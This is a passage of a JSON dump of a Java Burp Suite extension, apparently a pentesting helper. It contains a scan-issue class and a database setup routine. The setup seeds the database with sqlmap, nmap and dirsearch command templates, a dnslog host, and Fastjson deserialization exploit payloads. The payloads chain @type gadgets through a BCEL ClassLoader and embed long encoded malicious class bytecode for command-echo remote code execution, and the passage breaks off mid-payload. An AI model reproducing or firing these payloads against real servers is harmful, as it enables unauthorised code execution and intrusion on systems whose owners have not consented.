I18nUtils.get(\"redirect.value.no\");\n                default:\n                    return null;\n            }\n        }\n\n        @Override\n        public String getColumnName(int column) {\n            return COLUMNS[column];\n        }\n        \n        @Override\n        public Class<?> getColumnClass(int column) {\n            if (column == 0) {\n                return Integer.class;\n            }\n            return super.getColumnClass(column);\n        }\n    }\n\n    private static class RedirectEntry {\n        private final int id;              // 记录ID\n        private final String method;       // HTTP方法\n        private final String url;          // URL\n        private final String parameter;    // 参数\n        private final String statusCode;   // 状态码\n        private final boolean isVulnerable;// 是否存在漏洞\n        private final IHttpRequestResponse requestResponse;  // 请求响应对象\n\n        public RedirectEntry(int id, String method, String url, String parameter,\n                             String statusCode, boolean isVulnerable, IHttpRequestResponse requestResponse) {\n            this.id = id;\n            this.method = method;\n            this.url = url;\n            this.parameter = parameter;\n            this.statusCode = statusCode;\n            this.isVulnerable = isVulnerable;\n            this.requestResponse = requestResponse;\n        }\n    }\n}\n\n\n"
  },
  {
    "path": "src/main/java/burp/utils/CustomScanIssue.java",
    "content": "package burp.utils;\n\nimport burp.IHttpRequestResponse;\nimport burp.IHttpService;\nimport burp.IScanIssue;\n\nimport java.net.URL;\n\n/**\n * @Author Xm17\n * @Date 2024-06-23 9:57\n */\npublic class CustomScanIssue implements IScanIssue {\n    private IHttpService httpService;\n    private URL url;\n    private IHttpRequestResponse[] httpMessages;\n    private String name;\n    private String detail;\n    private String severity;\n    private String confidence;\n\n    public CustomScanIssue(IHttpService httpService, URL url, IHttpRequestResponse[] httpMessages, String name, String detail, String severity, String confidence) {\n        this.httpService = httpService;\n        this.url = url;\n        this.httpMessages = httpMessages;\n        this.name = name;\n        this.detail = detail;\n        this.severity = severity;\n        this.confidence = confidence;\n    }\n\n    @Override\n    public URL getUrl() {\n        return url;\n    }\n\n    @Override\n    public String getIssueName() {\n        return name;\n    }\n\n    @Override\n    public int getIssueType() {\n        return 0;\n    }\n\n    @Override\n    public String getSeverity() {\n        return severity;\n    }\n\n    @Override\n    public String getConfidence() {\n        return confidence;\n    }\n\n    @Override\n    public String getIssueBackground() {\n        return \"\";\n    }\n\n    @Override\n    public String getRemediationBackground() {\n        return \"\";\n    }\n\n    @Override\n    public String getIssueDetail() {\n        return detail;\n    }\n\n    @Override\n    public String getRemediationDetail() {\n        return \"\";\n    }\n\n    @Override\n    public IHttpRequestResponse[] getHttpMessages() {\n        return httpMessages;\n    }\n\n    @Override\n    public IHttpService getHttpService() {\n        return httpService;\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/utils/DbUtils.java",
    "content": "package burp.utils;\n\nimport java.nio.file.Files;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.sql.*;\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class DbUtils {\n    public static String DB_NAME = \"gatherburp.db\";\n    public static String PROJECT_PATH = System.getProperty(\"user.home\") + \"/.gather/\";\n    public static String DB_PATH = System.getProperty(\"user.home\") + \"/.gather/\" + DB_NAME;\n    public static String DB_URL = \"jdbc:sqlite:\" + DB_PATH;\n    public static String DB_DRIVER = \"org.sqlite.JDBC\";\n\n    static {\n        try {\n            Class.forName(DB_DRIVER);\n        } catch (ClassNotFoundException e) {\n            Utils.stderr.println(e.getMessage());\n        }\n        // 判断文件夹是否存在 若不存在则先创建\n        Path path = Paths.get(PROJECT_PATH);\n        if (!Files.exists(path)) {\n            try {\n                Files.createDirectories(path);\n                Utils.stdout.println(\"init filepath success\");\n            } catch (Exception e) {\n                Utils.stderr.println(\"创建文件夹失败\");\n            }\n            // 创建数据库\n            create();\n        }\n    }\n\n    public static Connection getConnection() throws SQLException {\n        return DriverManager.getConnection(DB_URL);\n    }\n\n    // 如果数据库不存在，创建数据库\n    public static void create() {\n        // 判断数据库是否存在\n        try {\n\n            Connection connection = DriverManager.getConnection(DB_URL);\n\n            List<String> sqls = new ArrayList<>();\n\n            // config table\n            sqls.add(\"CREATE TABLE IF NOT EXISTS 'config' ('id' INTEGER, 'module' TEXT, 'type' TEXT, 'value' TEXT, PRIMARY KEY ('id'), UNIQUE ('type' ASC))\");\n\n            // domain_configs table\n            sqls.add(\"CREATE TABLE IF NOT EXISTS 'domain_configs' ('id' INTEGER PRIMARY KEY AUTOINCREMENT, 'project_id' INTEGER NOT NULL, 'domain' TEXT NOT NULL, 'create_time' DATETIME NOT NULL, FOREIGN KEY ('project_id') REFERENCES 'projects' ('id') ON DELETE NO ACTION ON UPDATE NO ACTION)\");\n\n            // domain_results table\n            sqls.add(\"CREATE TABLE IF NOT EXISTS 'domain_results' ('id' INTEGER PRIMARY KEY AUTOINCREMENT, 'project_id' INTEGER NOT NULL, 'domain' TEXT NOT NULL, 'ip' TEXT, 'create_time' DATETIME NOT NULL, FOREIGN KEY ('project_id') REFERENCES 'projects' ('id') ON DELETE NO ACTION ON UPDATE NO ACTION)\");\n\n            // fastjson table\n            sqls.add(\"CREATE TABLE IF NOT EXISTS 'fastjson' ('id' INTEGER, 'type' TEXT, 'url' TEXT, PRIMARY KEY ('id'))\");\n\n            // log4j table\n            sqls.add(\"CREATE TABLE IF NOT EXISTS 'log4j' ('id' INTEGER, 'type' TEXT, 'value' TEXT, PRIMARY KEY ('id'))\");\n\n            // perm table\n            sqls.add(\"CREATE TABLE IF NOT EXISTS 'perm' ('id' INTEGER, 'type' TEXT, 'value' TEXT, PRIMARY KEY ('id'))\");\n\n            // projects table\n            sqls.add(\"CREATE TABLE IF NOT EXISTS 'projects' ('id' INTEGER PRIMARY KEY AUTOINCREMENT, 'name' TEXT NOT NULL, 'create_time' DATETIME NOT NULL)\");\n\n            // route table\n            sqls.add(\"CREATE TABLE IF NOT EXISTS 'route' ('id' INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, 'enable' INTEGER, 'name' TEXT, 'path' TEXT, 'express' TEXT)\");\n\n            // sqli table\n            sqls.add(\"CREATE TABLE IF NOT EXISTS 'sqli' ('id' INTEGER, 'type' TEXT, 'value' TEXT, PRIMARY KEY ('id'))\");\n\n            // url_results table\n            sqls.add(\"CREATE TABLE IF NOT EXISTS 'url_results' ('id' INTEGER PRIMARY KEY AUTOINCREMENT, 'project_id' INTEGER NOT NULL, 'url' TEXT NOT NULL, 'create_time' DATETIME NOT NULL, FOREIGN KEY ('project_id') REFERENCES 'projects' ('id') ON DELETE NO ACTION ON UPDATE NO ACTION)\");\n\n            // Create indexes\n            sqls.add(\"CREATE INDEX IF NOT EXISTS 'idx_domain_configs_project_id' ON 'domain_configs' ('project_id' ASC)\");\n            sqls.add(\"CREATE UNIQUE INDEX IF NOT EXISTS 'idx_domain_configs_unique' ON 'domain_configs' ('project_id' ASC, 'domain' ASC)\");\n            sqls.add(\"CREATE INDEX IF NOT EXISTS 'idx_domain_results_project_id' ON 'domain_results' ('project_id' ASC)\");\n            sqls.add(\"CREATE UNIQUE INDEX IF NOT EXISTS 'idx_domain_results_unique' ON 'domain_results' ('project_id' ASC, 'domain' ASC)\");\n            sqls.add(\"CREATE INDEX IF NOT EXISTS 'idx_url_results_project_id' ON 'url_results' ('project_id' ASC)\");\n            sqls.add(\"CREATE UNIQUE INDEX IF NOT EXISTS 'idx_url_results_unique' ON 'url_results' ('project_id' ASC, 'url' ASC)\");\n\n            // Insert data\n            sqls.add(\"INSERT INTO 'config' VALUES (1, 'config', 'ip', '1.1.1.1')\");\n            sqls.add(\"INSERT INTO 'config' VALUES (2, 'tool', 'sqlmap', 'python E:\\\\me\\\\tools\\\\sql\\\\sqlmap\\\\sqlmap.py -r {request} --batch')\");\n            sqls.add(\"INSERT INTO 'config' VALUES (3, 'tool', 'sqlmapmssql', 'python E:\\\\me\\\\tools\\\\sql\\\\sqlmap\\\\sqlmap.py -r {request} --dbms mssql --risk 3 --batch')\");\n            sqls.add(\"INSERT INTO 'config' VALUES (5, 'tool', 'nmap', 'nmap {host} -sC -sV ')\");\n            sqls.add(\"INSERT INTO 'config' VALUES (6, 'tool', 'dirsearch', 'python E:\\\\me\\\\tools\\\\scan\\\\dir\\\\dirsearch\\\\dirsearch.py -u {url}')\");\n            sqls.add(\"INSERT INTO 'config' VALUES (9, 'config', 'dnslog', 'xx.dnslog.cn')\");\n\n            // Insert fastjson data (adding only first few for brevity - add more as needed)\n\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (7, 'echo', '{\\\"xx\\\":{{\\\"@\\\\x74ype\\\":\\\"com.alibaba.fastjson.JSONObject\\\",\\\"name\\\":{\\\"@\\\\x74ype\\\":\\\"java.lang.Class\\\",\\\"val\\\":\\\"org.apache.ibatis.datasource.unpooled.UnpooledDataSources\\\"},\\\"c\\\":{\\\"@\\\\x74ype\\\":\\\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\\\",\\\"key\\\":{\\\"@\\\\x74ype\\\":\\\"java.lang.Class\\\",\\\"val\\\":\\\"com.sun.org.apache.bcel.internal.util.ClassLoader\\\"},\\\"driverClassLoader\\\":{\\\"@\\\\x74ype\\\":\\\"com.sun.org.apache.bcel.internal.util.ClassLoader\\\"},\\\"driver\\\":\\\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$a5W$Jx$5cU$V$fe$efd2$efe$f2$b2M$9b4C$e9$be$a5$d9$86$96$a6$cb$a4$zm$d2$94$86$siiJKZT$5e$s$af$c9$b4$93y$e9$cc$9b$a6$c5$N$F7DQT$a0$80$a8h$8d$a0$o$ad8i$J$b4E$a5$mu$D$c5$NW$QTD$U7$E$a5$f1$bf$ef$cd$q$99d$da$fa$7df$b9$db9$f7l$f7$9c$ff$de$f7$c4$99$H$8f$DX$o$d6z$e1$c5$n$V$9f$f7$c2$83$B$d9$7cA$c5$3d$K$eeU$d0$97$87$7c$7cQ$$$7dI$c1$97$V$dc$e7$e5$fc$x$5e$dc$8f$c3r$d3$R$V_$95$c4$H$U$7cMER$c5$a0$82$a3r$e1$98$82$He$3f$e4E$Z$k$f2$e2a$i$97$cd$J$F$t$bd$98$8aC$K$k$f1b$g$Oy$f1u$7cC6$dfT$f1$a8$XW$e1$94$82$db$e4$fc1$V$8f$7bQ$87o$a9xB$c5i$F$dfV$f1$j$V$dfU$f1$3d$F$dfW$f1$a4$82$a7$f2$R$c0$Pd$f3C$VO$ab$f8$91$8a$l$x$f8$89$8a$9f$ca$8d$3fS$f1$8c$X$3f$c7$_$e4$e4$97$w$7e$a5$e2$d7$w$7e$a3$e2Y$V$cfy$f1$5b$3c$_$9b$X$bc$f8$j$7e$af$e0$P$K$5eT$f1G$_$d6$e1$r$_$g$f1$t$F$_$7b$b1A$g$d8$88$3f$cb$d1_T$bc$a2$e2$af$w$fe$s$F$3e$q$97$fe$ae$e0$l$K$fe$e9$c5$W$bc$w$9b$7fyq9$5eS$f1$ba$ec$ff$z$9b$ffH$de7$a4_gT$M$x$C$C$9e$95$e1h$d8Z$z$90S$b1p$9b$80$bb$d1$ec2$E$8aZ$c2Q$a3$z$d1$dbi$c4$b6$ea$9d$R$ae$f8Z$cc$90$k$d9$a6$c7$c2r$9eZt$5b$3d$e1$b8$c0$b4$96$90$d9$h$d8$a5$c7$ad$ddq3$g$d8$97$88$E$b6$9a$bd$n$ddj$K$f5$98$f5$Cy$fd$b1$b0e4$98$5d$H$E$a6T$b4$ec$d6$f7$e9$81$88$k$ed$Ol$ea$dcm$84$ac$fa$9d$N$b6$ea$7dzl$b1T4$81$ee$d0$$$W$u$ZCk$8c$e8$f1x$8aT$t0$7b$3c$a9$cd$b4$d6$9b$89hW$d3$fe$90$d1g$85$cdh$8aw$a9$c0$ac1$bcmf$7b$o$d4$d3jX$3d$e6$E$d6$8b$9cn$91$80kg$83$40A$bb$a5$87$f6$b4$ea$7d$b6$f7L1$s$97$9d$85$f7$KxG$f62$k$c5$8e$b8$cdzL$ef5$y$p$c6$a5$dcn$c3ZO$t$97gq$7f$ccJ$bb$V$LG$bb$eb$Xf$8b$c1$cc$JV$af$P$h$91$M$a3$7d$TE$J$f8$c7$y$c6$8c$5d$RJ$L$d8$3b$eb$V$nX$X$C$ea$caP$q$95$F$b9$d2_$3a$5c$3af$d3X$N9$a1$de$ae$U$X$cfj$d2$cel$K$5d$e1$e8$88$80$b0$Zh$8e$f6$r$y$S$N$bdW$S$3bc$C$e5$p$c4$86$c4$ae$5dF$cc$e8$dab$e8$5dFL$c6$9d$960$b3$5c$f1$ceL$cb$j$e9$N$89p$q$c5G$T$96$3b$dd$K$a7$5b$c6tnf$f0$9dM$J$x$i$J$b4$84$e3$e9$ecY$92$Z$9d$ad$3d$b4$a7$8b4$c5$88$86$98$f2$b6Q$f1D4$d0$h$8e$87$C$Nk$db$9b$96$$ir$u$92$a9$cb8$h$d3$3a$p$cd$qv$8c$LHJ$H1$86$f0$a2$I$X$c1$80XA$a0Pp$bd$or$ec$w$7f$99$a9$d3n$sb$nc$7dXVT$d1h$e1$d4JI$g$de$847$L$cc5c$dd$b5z$9f$k$ea1j$z$9b$a3V$3aX$db$99$d8U$dbp$c02$g$7b$S$d1$3d$9ap$8b$5cMx$E$L$5b$8d$h$96$q0$f5$8a$c6$V$86$sT$845$91$t$bc$M$d6$f8$3cc$8d$8d$$5G$z$a3$db$88$d1$G$91$af$IM$T$F$a2P$TE$a2XF$c4$dc$$$8bZ$T$rR$ce$cc$f3$V$lC$pYj$a3a$d36$d89w$kM$7fL$ef$T$98q$9e$82$d4$84OL$S$98$7e$ee$K$d0$c4dQ$y$ad$zefk$a2LL$d1D$b9$f0$L$94e$3f$d9$89$84$d4i$f2$b04q$81$98$aa$89$L$c54$3ak$d9$t$Z$d7$b0$l$H41$5d$cc$a0$e1$c6$7e$p$a4$89$99b$W$c7$3d$96E$t$3c$96$kc$993$d1F$cd$dc$92$88F$j$ac$f4H$ac$9cKHQz$f4hWDj$f7tG$ccN$3d$92$8a$cd$b8bcb$f4$c5$cc$90$R$8f$9b$S$40$K3$b3Z$T$b3$c5$i$e9$dd$5c$d6d$cc$d8$x$90O$d5$5b$8cx$l$R$88$da$f28$db$60$d7T$c6$n$3bU$q$a0$ad$NI55$8d2$a341O$cc$a7$5df$bc6J$c0R$c4$CMT$88$85$9a$a8$94$8ez$fa$c3$d1$$$b3$9ft$96$7e$z$bdfq$GB$9c$G$3a$c3$d1$40$bc$87$d3$9a$90$o$aa4Q$zj4$3c$$j$V$R$d0$c4E$82$uR$96$bd$ccY$d9Y$c0$nM$cb$b9$b4a$a3$3c$c4$c5$b2$n$e8O9$L$Ihb$89$98$a1$89$3aAD$979$98$a7wu$a5$5d$d6$gM$e6n$d4$aa$d1$TV$8f$s$96IGJF$p$d8$k$d2$a3Q$bb$9cGeov$82$9d$WN$dd$cb5$b1B$E$e5H$e2$d6Uk5$b1R$ac$d2$c4j$a9$f5$S$b1FC$Xd$a4Yi$bc$Y$ac$E$Pi$ea9$ee$c1$MG2p8$e3$84$i$d0H$a7Df$84$Y$f4$5df$ac$8dg$q0$af$e2$dc$d7F$faz$cc$8f$g$fd$cd$d1$b8$a5GC$dc5$b9$o$eb$d5$e2$de$da$b1$b9$89$Rb$d2$b0$C$o$3aO$ca$v$40$815Y$f4$ec$9c$a0ga$96$3b$c6$91$m$a5W4$cb$fb$bd$fcl$y$cc$b1pt$9f$b9$87$f6$ad$c8$f6$3a$98$b8$94$d5$J$95$d6$db$d60x$V$d9B$nk$o$ad$b1x$8c$ab$a9C$a89OD3$efN$3e$H$u$a2$3d$d1g$c4B$8e$d2$d2l$fb$e9w$B$TD$96$5b$3c$kv$kM$V$3b$e4r$8e$N$V$f3$b38$9c$d5$bb$82P$o$WcF$a7$f3$p$f3$qG$ae$b3BJu$s$97$c6$cc$EA$c9$9f$85$cf$s$c9k$8d$ccN6eJ$h$b9$c9$d5$Q$cbH$P$cb7$cd$d4$b1$866$f6$e8$b1vco$82w$a7Q$bf$90$f7$9e$3b$k$be$c6$b0$df$90$cd2$Q$cdY$5dP$c2$f1$a6$de$3e$eb$80$cd$b7$p$T$97$O$c4$z$a3$d7$B1$W$o$83$w$d9$e6$9f$e7DF$ec$cc$b7$cc$W$b3$df$885$ea$S$fb$c6$dc$60$84_$x$y$j$f4JtLOJ3$bcM$zSLEE$96$f7$ccX$d6$UF$d4g$e8H$z$3a$b1$cf$a8$d6$vi$3d$T$5eA$95$VY$J$d9$Th$d2$us$ea$99$qWUy$92$z$f6c$c9$a3$f7$f5$Z$d1$ff$n$85$c7$3f$a2T$cbL$df$IeY$7d$a7$9e$5cbG$cc$g$l$b4$d1H$94gwEn$d5$Sqc$9d$R$J$f7$f2$a1$40$b0$5dpv$eb$c6$a2$b2D$8c$a8$b1$dfr$w$3a$f5$88qW$y$dc$d9$80Y$fcr$f1B$fe$b8$f9$e9$c2$97$R$db$b7pv1$e4$a7$M$90$5b9$Iq$98$D$X$aef$ebe$P$U$90$b9$Q$3aG$9a$c3$84N$84l$w$f1$h9R$80x$8e$9f$91$b9$5c$7b$dd$e7$3a$8a$9c$b6$9a$q$dc$ad5$be$5c$cf$c3$f0t$e4$f8$94$f6$O$f7$R$a8$ed$j$b9$b2M$o$af$3a$f7ax$3br$aa$b8$ee$8c$86$90$df$913$I$8d$LrXu$5c$8e$c9Y$b0$bd2$89B_$91$db$WT$c3$95$e2J$b7$bd$a3$da$a6$O$e0$86$a0$db$e7$b3u$fa$s$b9$d3$ea$a8$a2$c6$9dRA$b6$d6$f3$Ji$fa$ff$85$i$b6ce$o$86$S$bb$l$c4d$c6FFq5$8a$d8N$e6$d7s$v$a3T$c6$cf$c8$v$a4$cf$qg9$y$f8q$N$$$c0$z$fc$88$7e$80k$83$b8$Q$c7$f8$n$7d$C$d3$f1$Mf$e05$cc$b6$p$bf$L$f2C$bd$9b$7d7$f5x$QA$P$c2$94oa$Nvc$PO$e8$W$k$aeC$bd$G$abR$d4c$a4F$d0K$wO$GQRa$8fL$f4$f1$q$a5$7cg$c7$J$d4$a7v$ec$r$7d$Kr$5eELA$ecU$acS$Q$7f$Dk$VX$K$S$d8$97$ca$9b$g$f4s$94$e7$a2D$e9$a9$cc$E$be$eb$9cL$c0$d3$ece$s$y$Xv$c0$YQ$ef$n$94$d5T$rQ$da$3a$80$82$a0$9b$b91$a5m$60$f8$c5$ea$c7$a0$N$a1$ac$a3j$Q$e5$t$aa$ddI$f8$ab$b9$e1$82$fb$a9$a0$A$93$Y$a7$b2T$fc$W3$ef$80y$b4s$3e$UT$90ZIz$V$e9$d5$8c$60$N$a3U$cb$c8$z$c2$5cr$d6$60$J$db$3a$3bfKhG9$ffw3$o2$C$cbG$o$b0$9cV$bf$95z$5cX$ca$I$bc$8d$bd$c2$fd$a3$R$u$81$fb$N$u$K$deN$af$db$U$bc$pO$3b$bb$ef$w$de$99$$$p$f7$j$9c$f9X$3c$X$Naj$H$8fr$e3$Q$a6$b1$9f$de$92$b3$ea$uf$q1$d37$eb$uf$9f$c4$i$e7$af$zg$a9$bb$d4$5ds$fcn$f1FM$a9$7bq0$d7$9f$7bJ$bc$e4$cfMbn$d0$e3$f7$f8$e6$r1$ffv$f1$MG$L8$3a$u$9e$f4$e7$fa$w$u$m$a8$f8$95G$b0$f0$a08$e9W$7c$95$5c$f0U$c9$a6$da$s$N$40$N$aa$D$e2$QI$b5$b6$b2$40P$cdY$9aW$9a$e7W$8f$81$af$e7$bb$c5u$7e$b54$ef$Y$W$b9$Q$f4$fa$bd$be$c5$v$892$bb$_$ceav3$b3$fd$K$H$5e$a6u0$df$n$yIUE$5d$bbMu$S$df$b7Tf$feI$d4IkO$89$e9$7en$5dv$bb$us$af$f2$7b$82$9ao$f9Q$acH$o$e8$ab$97$c6$c3O$y$a8$e3$9e$95$yq$df$wB$81_k$l$40Yju$b5$5c$bd$c4Y$N$W$i$c5$g$7fA$Sk$93h$I$W$O$a1$b1c$I$eb$3a$fc$85$be$a6A$ac$l$c4$a5$c1$o$R$y$k$c2$G$86$b69X$e2$_J$e2$b2$8e$60$f1$v$94$f9K$fc$c5Il$dc$ee$_$f1$b5$c8$7e$60$f8y$7f$be4$bf57m$3e$d58$3e$e4$a7$81$a7$ae$c3$d76$88M$a4$f8K$92$d8l$X$b3_$Z$c2$e5$d4$ba$a5$c3_0$I$$m$a5$v$83$b8$c2$b7$z$89$edI$5c$99D$c7Q$ecpB$b3$d3$J$8d$83l$p$b1$91$uV$82$c7$r$8cI$81$X$k$84g$Ay$d7$e7$89$813$fd$e9$89$9b$T$d7$A$dc$h$rv$f40$p$df$c1$f4$82$ab$caU$cb$de$c9$fd$p$ccq$b0$3aU$acD1$eb$daG4Y$c0$aa$5e$84$b5X$86$G$ae6$f2w$j$b6$a3$89$fc$eb$ve$D$e5l$a4$a4f$5c$8b$cbp$jZq$T6$e1$$l$c6$3dD$9e$p$d8$82$d3h$c7$x$d8$8a3$b8$82p$beM$b8$b1$5d$5c$82$xE$L$3a$c4$d5$d8$nB$d8$v$o$b8J$f4$f3$e1$ce$dc$W7$40$X$t$R$S$_$a0$cbU$82$3d$aeRD$5c$e5$d8$e4$9a$8e$3e$d7l$ecu$cd$c3$gW$V$f6$d3$ea$7eW$80$b5$sk$ef$q$x$f4Z$fap$z$de$F$95$9f$d5$Fx7$ed$e2$b3$lO$d1$a6$ebQ$40m$8f$e2$3dx$_$K$a9$f30$de$87$f7$a3$88$9a$ef$c3$H$c8WL$fd$87p$D$3e$c8J$bcG$98$b8$91u$eb$c5i$d1$8a$Pq$94$8f$9b$c5$8d$f80$fd$ca$c3M$e2$W$o$dcG$Y$9f$ab$c5$a3$ac$f4nVr$a3x$W$l$a5$U$P$96$89$97$Z$91$9b$89$B$95$$$c1J$bf$89$r$ac$ba$e6$e0c$f88m$yvM$c5$t$88$9b$fc$det$f9Y$cf$b7$f2$U$W$b8$dc$ac$ea$dbR8p$gE$c3$E$9b$5c$F$H$V$dc$$$U$cca$c0$86$Z$3eu$cc$8a$82$3b$U$dcI$88$E$87$9f$qp$U$w$b8K$9c$c1$ad6j$f2$ef$ce$z$K$3e5L$90$f2e$db$r$99G8$c9$a8$e0$d3$K$3ec$8f$ef$G$a6$N3D$da$b9$f7$81$b7$84$e7u$e4$O$d3$e3$f1$a6J$qF$D$ed$e2$j$8d$cf$da$X$fb$e7$fe$L$e1K$Q$9a$u$W$A$A\\\"}}:\\\"xxx\\\"}}');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (8, 'echo', '{\\\"xx\\\":{{\\\"@\\\\x74ype\\\":\\\"com.alibaba.fastjson.JSONObject\\\",\\\"name\\\":{\\\"@\\\\x74ype\\\":\\\"java.lang.Class\\\",\\\"val\\\":\\\"org.apache.ibatis.datasource.unpooled.UnpooledDataSources\\\"},\\\"c\\\":{\\\"@\\\\x74ype\\\":\\\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\\\",\\\"key\\\":{\\\"@\\\\x74ype\\\":\\\"java.lang.Class\\\",\\\"val\\\":\\\"com.sun.org.apache.bcel.internal.util.ClassLoader\\\"},\\\"driverClassLoader\\\":{\\\"@\\\\x74ype\\\":\\\"com.sun.org.apache.bcel.internal.util.ClassLoader\\\"},\\\"driver\\\":\\\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$5bx$U$d5$j$ff$9d$ece$ceN$s$d9$cd$G$84$nb$X$E$dc$40$b2$x$a8E6$U$81$I$EY$a2$cd$oi$a0$z$9d$9dL$b2$D$bb3$eb$ccl$I$b4U$dbz$a9m$d5$5e$b5$da$8b$d5$5e$a8$8aU$7b$d9$a0$U$ab$3e$f4$a1o$7e_$_O$7d$ec$a3O$fa$e4$d7$af$f8$3f$3b$b3$q$9b$5d$L$f96g$fe$f3$bf$9d$df$ffv$ce$fc$ed$7fo$be$F$e0V$bc$x$p$G$5d$c64$M$b1$ccp$cc$ca$u$c1$e48$v$e1$94$M$Je$J$V$Z$Wl$8e$w$c7$7d$i$O$87$cb$b1O$82$t$c45$8e9$8e$fd$i$a79$O$I$bdy$8e3$ige$7c$Z_$91$91$c0W9$ee$X$cf$H8$c68$k$e4$f8$g$c7$d7e$7c$D$P$89$e5a$Z$8f$e0Q$J$df$94$f0$Y$c7$b7dl$c4$b7el$c0w$q$3c$$cP$40$db$80$t$E$f5$q$c7w9$be$t$c8$ef$L$d0$3f$e0$f8$n$c7$8f8$9e$e2xZ$c2$8f$r$3c$c3$Q$ddiZ$a6$b7$8b$n$94$k$3c$ca$Q$k$b5$a7$N$86x$de$b4$8c$f1Z$a5h8G$b4b$998$c9$bc$adk$e5$a3$9ac$8a$f7$80$c9t$86$be$fcImN$cb$965k6$3bZ$d6$5cw$84$f8$V$865K$f8$8e1S6t$_$7b$d8$f0J$f6$b4P$b0$85$c7E$85$bb$8b$tIN$82$ae$caV$C$e1$Yn$95$Q9$c6$7d$M$b1Y$c3$h3$b4i$c3$n$da$5dB$T$7f$d21$3dA$87$f4$cat$ab$c3$82$e7$98$d6$y9$e4$ba$5d$a9h$d6$b4$cb$d0$7f$bc$93B$97i1$ac$f4$r$a6$9d$3dhUk$k$J$N$ad$o$84E$f2$be$fa$8apomf$c6p$8c$e9$89$G$G$92$87$cb$94$tRs$8b$Mj$9b$f7$bd5$b3$ec$ebEO$HH$c3$5e$c9$q$u$eb$f3$E$x$3b$a3$b9$deI$d7$b6$b2s$b5r$b6P$V$s$fb$f4$92$7d$c23$5c$91$8b$9e$82$a7$e9$a7$Ok$d5F$b6$a9Z$d4_$S$9e$a5$ee$a2N$92pH$c2O$gm$f08$d5$92A$$$d85G7$f6$9b$a20$x$96y$cb$Ih$K$b6$e3v$J$3fU$f03$fc$5c$c1s$f8$F$c3N$db$99$cd$b8$N$e5$ZG$ab$Y$a7m$e7T$e6$b4Q$cc$e8$b6$e5$Z$f3$5e$86jP$T$O$s$fc$e7$a8$cf$k$b3E$60$S$9eW$f0$C$7eI$fbQ1$C$8d$3d$k$c5$5e$ac$d1$ae$d4F$cbZC$c1$af$f0k$86$c4$f2$c2ST$K$7e$83s$M$bb$af$VO$c1p$e6$ca$j7$edn$60q$ab$b6$e5R$s$e4Ed$M$h$c5$c6$f3$Z$d7$b7$cd$94$3c$af$9a$Z$a3$a5$d5Y$L$40$bf$92$K$7e$x$80o$ba$9a$7ds$d7$b5$ad$8a$cb$e4$K$5e$c4K$M$ca$k$5d7$aa$de$f0$a8$a6$97$c8F$b2$dd$8cE$nKxY$c1y$bc$a2$e0wx$95z$7b$f2$e0$b8$82$d7$f0$3a$b5Y$96$e6M$ca$WM$x$eb$96$e8uX$97$f0$7b$F$7f$c0$l$V$fc$Ju$J$L$K$$$e0$N$86$eb$3a7$y$f5h$876o$caB$H$f6$k$S$z$f2$a6X$$2$ac$fa$84vV$f0g$bc$aa$e0$S$de$a29$96$v$8cFOX$de$b0V$f3J$K$fe$o$84o$e3$jB$w$ca$e8$95i$bcr$86$e3$d8$ce$d0$R$ea$fd$94V$ad$96M$5d$f3L$dbJ$9547e$d9$vc$5e$b0L$_U$n$nm$94$9a$b1$9dT$b6a$93a$88$cc$94k$o$dc$88$5e$b6En$fb$Xq$ed$9b$X$J$qO$M$a9$ab$N$U$cd$f1$t$jHM$9f$adyii$83$p$rb$91b$8f$5es$i$K$b6$f9$be$o$3d$98_$aeE$a3$bb$92$ba$$$Y$95F$e3$e7$ed$m$ff$z$eaKD$c2$a6$a3$80$O$ba2$R$N$O5p$ba$fd$Ik$f38$e2$l$8e$cd$d8vw$b09$def3$f8$ff$8e$eb$a8i$cd$d9$a7$u$f7$3b$d2$ed$87$f6$f1v$d6$60$a7$a3$bd$8f0$ddi$e8e$8d$fa$b1$89$ad$87$Ot1$F$aek6$$$94p$fa$98$b8$85$96$ce$df$Z$d73$w$feT$df$e3$d8U$c3$f1$ce$d0$m$5e$r$PWN$f7n$cf$be$b7JF$a3$9ah$9d$d6j$z$bd$p$yO3$zJ$f0$c0R$c7$a3$r$cd$v$883$c1$d2$8d$91$c1c$U$c2$a2l$a2fyf$a5y$c04_V$b6l$Q$b0$c5$3da$cc$h4$bb$e9t$87$xh$a9$FE$u$921$d2$b2U$c0d$e8$a5$adZ$gtUs$bb$b6$8bks$ba$a3$a0$c3$ee$94$ee$feE$e5$e0f$T$5c$$z9$df$b8$df$a24$97$86E$f5$g$be$a6$bc$_$de$7b$dc$b3$7d$W$91b$q$fc$$$eeo$9f$82$R$ac$c3$a7$e9$hE$fc$d1$b1$on$wZw$A$a1$3a$a2$e8$p$e6$3f7$_$80$5d$40W$j$a1d$b8$8eH$7eK2$g$ba$E$a9$O$7ex$88$R$V$abC$k$P$U$ba$7d$F$a5$a9$b0$r$d9$T$90$b9$f0$d0p$a0$9c$8b$a8$e1$xt4$b0$ec$r$cbd$3cL$caS$a1d$a2PG_N$KDI$n$ea$8f4ES$e1$40$ce$D$f9$K$n_$e9$ef$d3$97$8b$a91$82y$9d$ca$h$ab$e4$afj$94$3c$c7$c8$7c$VY$cao$p$91$93$a3$97h$edN$ae$be$A$b5$8e5$c9$81$3a$ae$7f$GI$b5$3b$94$5c$5bP$bb$c3$c9$h$K$e7$Q$X$af$9fj$bc$a6h$8d$a8r$e1$C$d6$a9$U$e5$fa$3an$cc$v$X$b1a$ea$o6N$a9Jr$d3$CnZ$40$3a$d7$c3r$bd$X18$b5$80$cd$b9$b8$daS$c7$96$a9$5c$ef_$JC$5c$a5$Q$87$s$d5xrX$3c$cf$5d$fe$8f$ca$d5H$c4$87$95$a1$a8$d4x$jY$BoR$8d$a9$91f$7e$Sj$a2$8e$9b$93$5b$97fFM$E$d1l$f3$d5$h$g$b7$E$JP$T$81i$c0$bf$b5$8d$7f$O$e1$fc$ebT$e50$7b$8f$fd$j$b7$n$84$iU$ffYl$a25$860z$e8$h$b8$X$D$88$d3$tn$S$5b$d1$8f$9dX$811$acB$B$abq$C$w$ceb$N$e9$P$d0$edx$3d$eaXK$X$d3$N